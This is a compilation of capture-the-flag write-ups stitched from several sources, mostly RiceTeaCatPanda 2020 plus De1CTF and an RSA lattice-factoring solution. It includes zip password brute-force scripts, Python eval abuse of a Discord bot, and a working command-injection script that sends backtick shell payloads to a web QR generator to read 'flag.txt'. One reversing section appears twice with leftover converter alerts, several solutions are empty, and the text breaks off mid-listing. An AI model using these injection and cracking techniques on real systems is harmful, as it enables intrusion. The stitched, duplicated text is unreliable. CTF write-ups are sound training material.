DXKGMXEWNWGPJTCNVSHOBGASBTCBHPQFAOESCNODGWTNTCKY Dev: Sri Hint! All letters must be capitalized Hint! The flag must be in the format rtcp{.*} ### Solution: ### ### Flag: ###
#Spilled Milk### 50 Pointsoh no! i'm so clumsy, i spilled my glass of milk! can you please help me clean up? spilled_milk.png (9ac853b9527a08919f9c94172074a69d)### Solution:### Flag: # Zip-a-Dee-Doo-Dah### 129 PointsI zipped the file a bit too many times it seems... and I may have added passwords to some of the zip files... eh, they should be pretty common passwords right? Hint! A script will help you with this, please don't try do this manually...Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txtor alternatively, use "git clone https://github.com/danielmiessler/SecLists" 1819.gz (2c1ce0c0f7efb5ddfac82390aeada827)### Solution:This one was a bunch of nested archives of differing formats. Zips being password encoded. So I scripted this and used `fcrackzip` with the provided password list to handle password cracking. ```bash#!/bin/bash while [ true ]do file=`ls -1| grep -v *.sh | grep -v txt` echo "Runnin on $file" if [ `file $file | grep -c tar` -gt 0 ] then tar xvf $file rm $file elif [ `file $file | grep -c gzip` -gt 0 ] then if [ "{${file##*.}}" != "{gz}" ] then mv $file "${file}.gz" file="${file}.gz" fi gunzip $file elif [ `file $file | grep -c 'Zip archive'` -gt 0 ] then for pass in $(fcrackzip -D -p words.txt $file | cut -d ' ' -f 4) do echo "Trying $pass" unzip -o -P $pass $file if [ $? -eq 0 ] then echo "Success" rm $file continue fi done fidone``` ### Flag:rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687} # Music Lab### 207 PointsDo you like my song? ♪ masterpiece.mid (3cf79ff90abc4eb76f22f33adf636189)### Solution:I just opened this one up in Audacity and the flag was written out in the notes. The most frustrating part of this one was figuring out which character to use in the flag. ![Masterpiece](img/masterpiece.png)### Flag:rtcp{MOZ4rt_WOuld_b3_proud} # Satan's Jigsaw### 704 PointsOh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :( Hint! long_to_bytes chall.7z (a9bd676256e2cf8a5ca893a9928aaa16)### Solution:The provided 7z file contained a bunch of images with long numerical filenames. The hint made it obvious that you needed to use long_to_bytes on those. The resulting string were two integers. Each image was a single pixel, so it became obvious that we just had to place each pixel at the coordinates listed, so I wrote a python script using PIL.```from Crypto.Util.number import long_to_bytesimport osfrom PIL import Image, ImageDraw mapping={}max_x = 0max_y = 0 # Map image to posfor filename in os.listdir('./'): if filename.endswith('.jpg'): pos = long_to_bytes(filename.replace('.jpg','')) mapping[filename] = [int(pos.split(" ")[0]), int(pos.split(" ")[1])] # Find max x and yfor pos in mapping.items(): print pos[1] if pos[1][0] > max_x: max_x = pos[1][0] if pos[1][1] > max_y: max_y = pos[1][1] # Create the new imageimg = Image.new('RGB',(max_x,max_y), color=0)for image in mapping: x = mapping[image][0] y = mapping[image][1] im = Image.open(image) region = im.crop((0,0,1,1)) img.paste(region,(x,y,x+1,y+1)) img.save('test.png') ``` That resulted in this image ![satans_jigsaw](img/satans_jigsaw.png) One of those QR codes is a rickroll, the other is the flag! ### Flag:rtcp{d1d-you_d0_7his_by_h4nd?} # I only see in cubes### 1,547 PointsSOLVEDOh no! Jubie's been travelling through distant lands and she lost her books! She'd put so much work into writing them, it'd be a shame if they were lost forever. You never know, you might be rewarded if you find them... Hint! You don't need to own a copy of Minecraft to solve this challenge. You also don't need to pirate a copy of Minecraft to solve this challenge. Piracy bad. I only see in cubes rezip.7z (c1450ca404a110f66dea46bb70f0265a)### Solution:They made it pretty clear the files here were for minecraft, so I looked into how those files work. That lead me to some tools that can be used to read them, including [NBTExplorer](https://github.com/jaquadro/NBTExplorer), which can be used to crawl through these files. The zip had some weirdness where it tried to overwrite files on unpacking. Strange. So initially I let it do that. Poking manually through the files I found one book in the player's inventory which showed me that the books would have an ID of `minecraft:written_book`. So I searched for that in the rest of the files and initially I could only find two parts on the flag. So I went back and unzipped the package again, but didn't allow the overwrite this time. The first part of the flag was in that set of files. ### Flag:???
# PWN Challenges ## Adventure-Revisited >>--- CTF Text --->>Let's go on an adventure!>>The solution is in there... somewhere.>>>>(#adventure-revisited on discord)>>------There’s a hint attached to the system that reveals this: ![Adventure1](img/adventure1.png) Looks like there’s an open eval of some language, I was guessing JS or Python right out of the game. The bot likes to tell a story that quickly becomes nonsensical: ![Adventure2](img/adventure2.png) Asking the bot for help reveals this: ![Adventure3](img/adventure3.png) No eval in there, and asking it to execute an eval you get this: ![Adventure4](img/adventure4.png) Which means that it’s context aware, so we need to pull it into a different Discord context. Luckily there is an invite link allowing you to invite the bot into your channel in the help statement above. Once Jade had joined me in my channel, then began the learning about the capabilities. Did some quick checks against it to see if it was taking input and eval’ing it at a shell: ![Adventure5](img/adventure5.png) The return there really pointed me at JS or Python, but the function structure screamed Python. So we checked for some quick and easy things based on the story itself that was being produced back in the main channel: ![Adventure6](img/adventure6.png)![Adventure7](img/adventure7.png)![Adventure8](img/adventure8.png)![Adventure9](img/adventure9.png) They disabled external imports, so it looks like the data is contained within the bot, I think. Looks like it wasn’t going to be easy, so I began to wonder about the variables that were loaded which got me thinking about the dir(), locals(), and globals() (https://thepythonguru.com/python-builtin-functions/locals/ -- quick read for anyone wondering what these are!) and what they contained. From testing, locals() and globals() were the same, so we went to looking at them in context: ![Adventure10](img/adventure10.png) Interesting, looks like a lot of just randomized garbage for keys, but the values are all [HIDDEN]. Just to make sure that this wasn’t some artifact of code manipulating the data, I addressed one of the elements directly. ![Adventure11](img/adventure11.png) Still [HIDDEN], so the question was, how many variables are there since Discord is truncating the results there. ![Adventure12](img/adventure12.png) Oh good grief...ok, so we’ll need to figure out something unique about the answers. So, then the question became, which ones DON’T have a value of [HIDDEN]? Time to get ridiculous with some conditional list comprehension, because what could be more insanely pythonic? ![Adventure13](img/adventure13.png) Oh my, look at that! The magical rtcp! Wait, where was that again? ![Adventure14](img/adventure14.png) This time I grabbed both the key and the data, and it looks like the variable named amsup holds the rtcp{} that we are looking for! ![Adventure15](img/adventure15.png) Got it :)
>>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8.See top comment block for details on ERRORs and WARNINGs. In the converted Markdown or HTML, search for inline alerts that start with >>>>> gd2md-html alert: for specific instances that need correction. >>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8. Links to alert messages:alert1alert2alert3alert4alert5alert6alert7alert8 Links to alert messages: >>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr> >>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr> **<span>EZ (pass0.py)</span>** <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse0.png "image_tooltip") It’s right in the code… **<span>PZ (pass1.py)</span>** What’s executed out of global space? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse1.png "image_tooltip") What’s main call? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse2.png "image_tooltip") What’s in checkpass()? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse3.png "image_tooltip") There we go. **<span>LEMON (pass2.py)</span>** Same thing as before, track main() to checkpass(). Only this time they are doing text slicing: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse4.png "image_tooltip") rtcp{y34H_tHiS_a1nT_sEcuR3} when you append it all correctly. **<span>SQUEEZEY (pass3.py)</span>** This one was a little different as it needed some actual RE work to reverse the flow. Basically, the code takes your input and XOR’s the hex equivalent of the text turning it back into a character before base64 encoding it and comparing it against a known string. Quick investigation revealed the base64 decoded string is symmetric with the key, so that makes life easier. To reverse it, I wrote a simple piece of code to handle the functions: --- repass3.py -- import base64 final = 'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw=' key = 'meownyameownyameownyameownyameownya' step1 = base64.b64decode(final, altchars=None) step=0 data = [] for a in step1: data.append(chr(ord(a) ^ ord(key[step]))) step+=1 print ''.join(data) ------ Executing this gets you: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse5.png "image_tooltip") **<span>thedanzman (pass4.py)</span>** As with SQUEEZY, except there was some ROT13 thrown in the mix for hilarity. Seriously… <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse6.png "image_tooltip") The nope function performs the same hex XOR as in SQUEEZY, but the wow function this time does a string reversal (i.e. foo[::-1]) which if we look at result, the base64 there has been reversed (easy to tell because the padding character was at the end, making it more byte symmetric would have introduced more hilarity). Interestingly enough, this time the key and text were not symmetric leading to the need to toss in the modulo to get it into the appropriate space for decryption. So pulling this apart structurally led me to a code snippet: --- repass4.py --- import base64 import codecs key = "nyameowpurrpurrnyanyapurrpurrnyanya" key = codecs.encode(key, "rot_13") final = '=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR' final = final[::-1] step1 = codecs.encode(final, 'rot_13') step2 = base64.b64decode(step1, altchars=None) data = [] step=0 for a in step2: data.append(chr(ord(a) ^ ord(key[step%35]))) step+=1 print ''.join(data) ------ Which when executed gives you this: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse7.png "image_tooltip")
# De1CTF2020 - mc_joinin ## Description>赶紧加入游戏吧。我们在等你。Hurry up and join in the game.We’re waiting for you.http://134.175.230.10/ (cn)http://222.85.25.41/ (cn)http://144.202.79.93/ (us)http://80.240.24.78/ (de)http://45.77.253.164/ (sg) **Hint*** mc_joinin's flag is: De1CTF{md5(flag)} mc_joinin的flag格式为:De1CTF{md5(flag)} ## Solution By looking at the IP given we realized it was a Minecraft challenge. >We1c0me t0 De1Ta He4dl3ss M1neCrAft Te2t SeRv3rMinecraft 20.20 is developed by De1ta Team based on 1.12HeadlessClient isn't necessary. Looking up at the [Minecraft Server Status](https://mcsrvstat.us/server/222.85.25.41) it showed a different version from the 1.12 reported on the website: >MOTD De1Ta He4dl3ss M1neCrAft Te2t SeRv3rPlayers 0 / 2147483648Version **MC2020** And looking at the debug info:>IP address: 222.85.25.41Port: 25565**Protocol version: 997**Cached result NoSRV record NoPing YesQuery No As the website stated a Client was not necessary. Even if the server was displayed in the Minecraft client: ![image](img/minecraft_client_1.png)It could not connect to it. ![image](img/minecraft_client_2.png) Indeed the version protocol use by Minecraft 1.12 is the [335](https://wiki.vg/index.php?title=Protocol&oldid=13223) and the one used in this Minecraft server is the 997, not found anywhere in the [protocol number wiki](https://wiki.vg/Protocol_version_numbers). We didn't use a minecraft client to connect to the server but instead modified and used a [LightWeight console for minecraft chat](https://github.com/ORelio/Minecraft-Console-Client). Changing the protocol version with ```997``` in this [file](https://github.com/ORelio/Minecraft-Console-Client/blob/master/MinecraftClient/Protocol/Handlers/Protocol18.cs) at row 831 this client could easily be connected with the server. ![image](img/client.png) Analyzing the traffic with Wireshark we found a hidden message:![image](img/wireshark.png) >"text":"\n\nHIDE FLAG ONE\n\n **imgur.com/a/ZOrErVM** \n\n" Following the link we found this image: ![image](img/noflag.png) Changing the colormap: ![image](img/flagcolormap.png) De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?} ## Participants| ![image](https://github.com/andrea-mengascini.png?size=200) | ![image](https://github.com/fuomag9.png?size=200) | ![image](https://github.com/Fabbrei.png?size=200) | ![image](https://github.com/rickycraft.png?size=200)| ------------- | ------------- | ------------- | ------------- || [@aandryyy](https://github.com/andrea-mengascini) | [@fuomag9](https://github.com/fuomag9) | [@Fabbrei](https://github.com/Fabbrei) | [@rickycraft](https://github.com/rickycraft)
# I don't like needles### Points 50They make me SQueaL! http://challs.houseplant.riceteacatpanda.wtf:30001 Dev: Tom ### Solution:### Flag: # QR Generator### Points 50I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look? http://challs.houseplant.riceteacatpanda.wtf:30004 Dev: jammy Hint! For some reason, my website isn't too fond of backticks...### Solution:The hint for this one is pretty obvious that the input on this QR generator web app is likely not sanitized and will lead to some kind of injection attack. I did some test executions by hand and realized that the returned QR code seemed to only contain a single character, so I wrote up a script that would make the request over and over, grabbing the next character each time. I ran this script with `ls` initially and saw there was a `flag.txt` file in the directory, so I then used the same script to cat the file. ```python#!/usr/bin/python import urllib.parseimport urllib.requestfrom pyzbar.pyzbar import decodefrom PIL import Imageimport ioimport sys for num in range(1,50): cmd=urllib.parse.quote("`cat flag.txt | head -c "+str(num)+"| tail -c 1`") with urllib.request.urlopen('http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text='+cmd) as response: html = response.read() image = Image.open(io.BytesIO(html)) decoded = decode(image)[0] sys.stdout.write(decoded.data.decode('utf8')) print() ``` ### Flag:rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea} # Selfhost all the things!### Points 1566The amount of data that online services like Discord and Instagram collect on us is staggering, so I thought I'd selfhost a chat app! http://challs.houseplant.riceteacatpanda.wtf:30005 The chat database is wiped every hour. This app is called Mantle and is open source. You can find its GitHub repo at https://github.com/nektro/mantle. Dev: Tom Hint! discord more like flag### Solution:### Flag: # Fire/place### Points 1783You see, I built a nice fire/place for us to all huddle around. It's completely decentralized, and we can all share stuff in it for fun!! Dev: Jess Hint! I wonder... what's inside the HTML page?### Solution:### Flag: # Blog from the future### Points 1922My friend Bob likes sockets so much, he made his own blog to talk about them. Can you check it out and make sure that it's secure like he assured me it is? http://challs.houseplant.riceteacatpanda.wtf:30003 Dev: jammy ### Solution:### Flag:
>>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8.See top comment block for details on ERRORs and WARNINGs. In the converted Markdown or HTML, search for inline alerts that start with >>>>> gd2md-html alert: for specific instances that need correction. >>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8. Links to alert messages:alert1alert2alert3alert4alert5alert6alert7alert8 Links to alert messages: >>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr> >>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr> **<span>EZ (pass0.py)</span>** <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse0.png "image_tooltip") It’s right in the code… **<span>PZ (pass1.py)</span>** What’s executed out of global space? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse1.png "image_tooltip") What’s main call? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse2.png "image_tooltip") What’s in checkpass()? <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse3.png "image_tooltip") There we go. **<span>LEMON (pass2.py)</span>** Same thing as before, track main() to checkpass(). Only this time they are doing text slicing: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse4.png "image_tooltip") rtcp{y34H_tHiS_a1nT_sEcuR3} when you append it all correctly. **<span>SQUEEZEY (pass3.py)</span>** This one was a little different as it needed some actual RE work to reverse the flow. Basically, the code takes your input and XOR’s the hex equivalent of the text turning it back into a character before base64 encoding it and comparing it against a known string. Quick investigation revealed the base64 decoded string is symmetric with the key, so that makes life easier. To reverse it, I wrote a simple piece of code to handle the functions: --- repass3.py -- import base64 final = 'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw=' key = 'meownyameownyameownyameownyameownya' step1 = base64.b64decode(final, altchars=None) step=0 data = [] for a in step1: data.append(chr(ord(a) ^ ord(key[step]))) step+=1 print ''.join(data) ------ Executing this gets you: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse5.png "image_tooltip") **<span>thedanzman (pass4.py)</span>** As with SQUEEZY, except there was some ROT13 thrown in the mix for hilarity. Seriously… <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse6.png "image_tooltip") The nope function performs the same hex XOR as in SQUEEZY, but the wow function this time does a string reversal (i.e. foo[::-1]) which if we look at result, the base64 there has been reversed (easy to tell because the padding character was at the end, making it more byte symmetric would have introduced more hilarity). Interestingly enough, this time the key and text were not symmetric leading to the need to toss in the modulo to get it into the appropriate space for decryption. So pulling this apart structurally led me to a code snippet: --- repass4.py --- import base64 import codecs key = "nyameowpurrpurrnyanyapurrpurrnyanya" key = codecs.encode(key, "rot_13") final = '=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR' final = final[::-1] step1 = codecs.encode(final, 'rot_13') step2 = base64.b64decode(step1, altchars=None) data = [] step=0 for a in step2: data.append(chr(ord(a) ^ ord(key[step%35]))) step+=1 print ''.join(data) ------ Which when executed gives you this: <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> <span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span> ![alt_text](images/up-Reverse7.png "image_tooltip")
# Zip-a-Dee-Doo-Dah 129 Points ```I zipped the file a bit too many times it seems... and I may have added passwords to some of the zip files... eh, they should be pretty common passwords right? Dev: William Hint! A script will help you with this, please don't try do this manually... Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txtor alternatively, use "git clone https://github.com/danielmiessler/SecLists"```[1819.gz](1819.gz) It is a gzip file:```file 1819.gz 1819.gz: gzip compressed data, was "1818.tar", last modified: Sat Apr 25 01:57:45 2020, from Unix, original size modulo 2^32 256000```Inside after `gunzip` it, got `1819` tar file:```1819: POSIX tar archive (GNU)```Run `tar -xf 1819` to "untar" it, then got `1817.tar` Notice the name of the file keep decreasing Obviously it got **1819 layers of different compression** Then I extract until `1816` is a Zip file, and need password to extract it:```unzip 1816Archive: 1816[1816] 1814.tar password: ```According to the hint:```Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txt```So I download it and save as [passwords.txt](passwords.txt) Try using `zip2john 1816 > hash` and `john hash` to brute force the passwordResult:```ver 2.0 efh 5455 efh 7875 1816/1814.tar PKZIP Encr: 2b chk, TS_chk, cmplen=233900, decmplen=235520, crc=C52EE6281816/1814.tar:7777777:1814.tar:1816::1816 1 password hash cracked, 0 left```And inside got `1814.tar`, still got many layers I wrote a bash script for auto extract all layers based on the file type:```bash#!/bin/bashmkdir challcp 1819.gz challcd challwordlist=$(cat ../passwords.txt) while [ 1 ]do filename=$(ls *) # Test if is a zip file file $filename | grep "Zip archive data" if [ "$?" -eq "0" ] then mv $filename $filename.zip # Brute force every password for w in $wordlist do # Test if the password successfully extract the zip file unzip -o -q -P "$w" $filename.zip if [ "$?" -eq "0" ] then break fi done rm $filename.zip continue fi # Test if is a gzip file file $filename | grep "gzip compressed data" if [ "$?" -eq "0" ] then mv $filename $filename.gz gunzip $filename.gz continue fi # Test if is a tar file file $filename | grep "POSIX tar archive" if [ "$?" -eq "0" ] then tar -xf $filename rm $filename continue fidone``` `chmod +x solve.sh` and run it `./solve.sh` Result:```......2.zip bad CRC 39b2691b (should be 2d9b0dc8) (may instead be incorrect password)2.zip bad CRC 5a30a5cd (should be 2d9b0dc8) (may instead be incorrect password)2.zip: Zip archive data, at least v2.0 to extract1.tar: POSIX tar archive (GNU)0.gz: gzip compressed data, was "flag.txt", last modified: Fri Apr 10 05:09:28 2020, from Unix, original size modulo 2^32 46```Press `Ctrl + C` to stop the script Then `0.gz` is the flag!!```cat chall/0.gz rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}``` ## Flag```rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}```
We are given the following code for this task:```#!/usr/bin/sagefrom sage.all import random_primefrom Crypto.Util.number import * flag = "CENSORED!!!"m = bytes_to_long(flag)e = 65537ROUND = 4 p_0 = Integer(getPrime(2048))print "p_0 = ", p_0print "p_0.nbits() =", p_0.nbits()# p_0.nbits() = 2048 for i in range(ROUND): p = random_prime(p_0 + 2 ** 669, False, p_0) q = random_prime(2 ** 1024, False, 2 ** 1023) n = p * q c = pow(m, e, n) print((e, n, c))```and the results of that code. In other words, we have 4 unbalanced RSA modules (one of primes is 2048-bit, another is 1024-bit) where 2048-669 = 1379 most significant bits of the larger prime are the same for all modules but unknown to us. The literature calls this sort of problem as "implicit factoring", everybody cites the paper _Alexander May and Maike Ritzenhofen. Implicit factoring: On polynomial time factoring given only an implicit hint. In Stanislaw Jarecki and Gene Tsudik, editors, Public Key Cryptography, volume 5443 of Lecture Notes in Computer Science, pages 1–14. Springer, 2009_ as the one who has started all this. It analyzes the case when the _least_ significant bits are shared, so it isn't relevant to our case. For our case, the answer is directly given by _Faugère JC., Marinier R., Renault G. (2010) Implicit Factoring with Shared Most Significant and Middle Bits. In: Nguyen P.Q., Pointcheval D. (eds) Public Key Cryptography – PKC 2010. PKC 2010. Lecture Notes in Computer Science, vol 6056. Springer, Berlin, Heidelberg_. The math is actually not that hard as long as the LLL algorithm is taken as granted: n1=p1\*q1, n2=p2\*q2, where p1-p2 is small; so n1\*q2-n2\*q1=q1\*q2\*(p1-p2) is small (1024+1024+669 bits) relative to n1\*q2 and n2\*q1 (3072+1024 bits each); we need to find q1,q2,q3,q4 such that 6 expressions ni\*qj-nj\*qi (for every i,j) are relatively small and qi themselves are relatively small (otherwise setting qi=ni would trivially make those differences very small); the products of qi and K=2\*\*(1024+669) should have the same order as ni\*qj-nj\*qi, so the final target is a (relatively) short vector (q1\*K,q2\*K,q3\*K,q4\*K,... ni\*qj-nj\*qi ...) which is linear in qi; the LLL algorithm does exactly that. ```# this listing is from SageMath interactive notebookn1=2973274209501776201691519888042319471199570472002963581448442038174303775105245314381574957363420798823459109272033582880093544342097416632789301922536002306527567182062581755622427896176805222031127741901295996406407655159580761870799686589902586048531977772470949726487847609592273113113509360393565486981495691414280115488377036658862455270185918144232474278411028478744709705654418813265142448659819518373755286746077156428562009550423949053466765672350304371480685305236056948120315511581481937808877476017304234481709539887420959566635934196020993167440107233603930680205275988663922482219038154002189670456657490447904915677803635085896488516276652038398387670281017889578744546845516879561935267220220496067322815871953476187719320544305216370338724577613427031660334003670927940108336778128777129814482506102904120782261936405200583575045525662493621014910391546113422892875342648897533678582176837917306298616481373n2=3251902782032245789047244373568418513398699501042390125582854604850409980025770075450715911787445447521622218140215334557095399706072352867343808784990523236458770502408745674483759470273023405191394278952651887691658796200123075893310880484047881686981490079465719251437675137685366637455718736167852758693446054836510298483278836803321808484256895651671009286866206609106195207341954297584749240651733183589964137622276798390574442735236357896976689865537006076691770565982325476739464122514349746931384285281663137634844542581653666782790132692715898744258444677647182810520302200972112293388358388223088570201049829327536931873736003576119203091174357031887835756398363014044213876462726121357257124857714844995939275360401292114685493742117741807725904271233047819844418317309151563996814147674222205025657406854179970261054167763553714096062720190375110424034962653825267605345186966196242170924880263420113533093715233n3=3319581693166965854156546341702871085866516484417065133102957669783301767124305139148241445171965157251584901630940509466918383746093571883915961138469590579904855662075039603814193052482648861790005837152499623628933003722223942748425087238428768644059616855971746263587030015997518015844693570238168960001236591860478015490454825814441652717357954231754190147707664516755381474477091485840498429348559495172163679635558297040958809235154959039890002943586754687708419307944576976342602536633100445400214666233092453616500867884214942494273581939754962360296519390972480570607826327574222675233233204129014053970935585649161741415313714333739158739575683840949478335750767497914631684789124737756077755619214595149000678108003092984694154462094053762230044505613861154667951960453842346217765321466714384322427236290201201749533875696605496322060048560493782437879730028566779588369102443815552624843364723864437585102785841n4=3623027672825570027751905799087856250704364673219621733695608778498876374831468190295671406108813898622110856070362351202666715910157337713651450563139743656276618574488571861325300807768638051262028939850502191925048933459640263459899860587432858065361150546224650437409072567077419033994230255886523594885378258120983525249076049297579507914373981430056882696563001548545648806920587530226042146743848583834214566739577582905827450902524112644006302123901273189894141533305574615678484147600815608055941349174922284976582534946728583640560253903585715415485123700103842858923437775229668552580692343997833070023359560455050458268772296895514484239824212138823140238571743690643212480973800020565951870579891389546329093851128538448181474331412847283334553031842616446827659687270890242373017860663315628129723352199179773131554695072711474852201115894168202572204470148970446464032655855883263323237191326685502550928150611K = 2**(1024+669)M=matrix(ZZ,[ [K,0,0,0,n2,n3,n4,0,0,0], [0,K,0,0,-n1,0,0,n3,n4,0], [0,0,K,0,0,-n1,0,-n2,0,n4], [0,0,0,K,0,0,-n1,0,-n2,-n3]])m=M.LLL()# m[0] should be [q1*K,q2*K,q3*K,q4*K,... qi*qj*(pj-pi) ...], validate[n1%(m[0,0]//K),n2%(m[0,1]//K),n3%(m[0,2]//K),n4%(m[0,3]//K)]# prints [0,0,0,0]p1=abs(m[0,0]//K)q1=n1//p1c1=1916345795411046972738375754819683681926423961399114792801269957801977163440602821055072484406992244815036855918088798499938879791907505191972460922704580149221312157070181525428881682778778310135284898956613383004949065300186549316143621436988329137694532615825599098702201181789276122598515513994795338977977995789035323656172979381490017651005294884962515131736627554492930527900022854579639316928920418329929263046559349572706217880922083227295928053260088769281560143630321922294473582768062401570120887222514628086875048086383584075269304995537313637821427082672614650052048489417189826582021790156211244215713287597531449357470185779377001362125826126061066645860764220869216915972902761526341461419527244572704333420781898107551051196349501951094294927899571823039077487599286047323754104166237131284435653841620198169983977387345450646656267145362264437160529566744868352738337614347580596445231221837741213899194343d1=(65537).inverse_mod((p1-1)*(q1-1))('%x' % pow(c1,d1,n1)).decode('hex')# prints 